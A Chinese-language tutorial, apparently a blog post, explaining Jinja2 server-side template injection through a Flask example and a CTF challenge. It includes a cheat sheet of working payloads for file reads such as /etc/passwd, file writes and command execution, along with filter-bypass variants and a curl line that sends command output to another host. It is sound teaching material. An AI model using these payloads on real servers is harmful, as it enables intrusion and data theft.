SSTI(Server-Side TemplateInjection)服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下, 构造恶意输入数据,从而达到读取文件或者getshell的目的。此种类型漏洞虽然多次在CTF中,以Python语言为载体出现,但是这并不是Python模板引擎独有的漏洞。
值得注意的是:
凡是使用模板的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言。
jinja2原理
以下内容,以Python的模板引擎Jinja2为例。
from flask import Flask,render_template,request
app = Flask(__name__)
@app.route('/')
def hello_world():
name = request.args.get('name')
return render_template('hello.html', name=name)
if __name__ == '__main__':
app.run(host='127.0.0.1',port='8888')
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello from Flask</title>
{% if name %}
<h1>Hello {{name}}</h1>
{% else %}
<h1>Hello, World!</h1>
{% endif %}
</head>
<body>
</body>
</html>
这里有两种分隔符: {% … %} 和 {{ … }} 。前者用于执行诸如 for 循环 或赋值的语句,后者把表达式的结果打印到模板上。
jinja2软件会帮助我们自动把{% for item in navigation %}等转化为html里等价的代码,最终形成可交给浏览器解析的html。
如上,正常使用模板,是不会有漏洞的。为什么呢?
he
后端通过name参数获取到的值是一个字符串,如上’abc’,‘2*2’.我们将该字符串作为参数,送给jinja2的模板渲染函数,该函数将会把字符串参数代替name。
{{‘abc’}}将为计算为abc字符串渲染到html上,{{‘2*2’}}将渲染为2*2字符串到html上。
当传入的参数不是字符串,而是一个表达式时,name替换后为{{2*2}},jiaja2将计算{{}}内的表达式并将结果渲染到html上
实际效果是
render_template('hello.html', name='abc') # hello abc
render_template('hello.html', name='2*2') # hello 2*2
render_template('hello.html', name=2*2) # 传入的参数为表达式,结果为 hello 4
所以,因为从客户端得到的数据一般不会是表达式(或许可以,但目前我不知道如何得到),而是字符串等,所以就不会有漏洞,使得我们可以传入表达式,利用表达式来做一些文章。
CTF比赛中jinja2模板注入漏洞
上面提到jinja2本身模板渲染时不会有漏洞的,那么问题出在哪里呢?
问题出在,开发人员在构造一个模板的时候,进行了参数拼接。造成的后果是:模板本身内容可以通过传入的参数进行控制
通过name参数,我们传入不同的值,比如传入abc,{{name}},或者{{表达式}}
模板将发生不同变化:
hello abc
hello {{name}}
hello {{表达式}}
当jinja2渲染 hello {{表达式}},将执行该表达式,并把其值渲染到html上。这就造成了漏洞。
举例:
漏洞根本原因:模板本身内容可以被改变,但如果按正常jinja2的规定使用, 则模板本身是固定无法修改的,只有模板中的插槽地方的值可以改变,这样就不会有漏洞。
感觉这种漏洞现实中不会太常见,大概只适合CTF比赛了吧。
漏洞利用方法
常见的一种payload
{%for c in [].__class__.__base__.__subclasses__()%}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{%endif%}
{%endfor%}
为什么这样构造payload?
总体思路是:利用python类的内置属性和方法,找到object类,最终找到可以执行系统命令的方法,并使用该方法。
先来看看常见的类的内置属性和方法。
__class__
__class__是类的一个内置属性
>>> [].__class__
<class 'list'>
__base__
base__返回类的直接基类。在其他payload也有__bases,mro,执行一下,可以看出其中的不同,但我们构造payload的目的是拿到<class ‘object’>
__subclasses__
每个类会保存由对其直接子类的弱引用组成的列表。 此方法将返回一个由仍然存在的所有此类引用组成的列表。通俗的讲,就是返回该类的子类列表。
所以,当我们拿到<class ‘object’>时,便可以获得object类的子类列表
>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>,...]
但是 payload为什么从object子类中找到catch_warnings类呢?
常用payload
知道构造原理之后,要有一些常见的payload,使用时根据实际加以改造。
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
过滤[
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
过滤引号
#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
过滤花括号
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
利用实例:
要改造成jinja2模板语法
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //popen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
实际案例
HITWH靶场的一道python的template注入题。
通过response header看出后端是python而不是php
payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
可以看出根目录下存在名为flag的文件。
利用下面payload读取flag文件
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}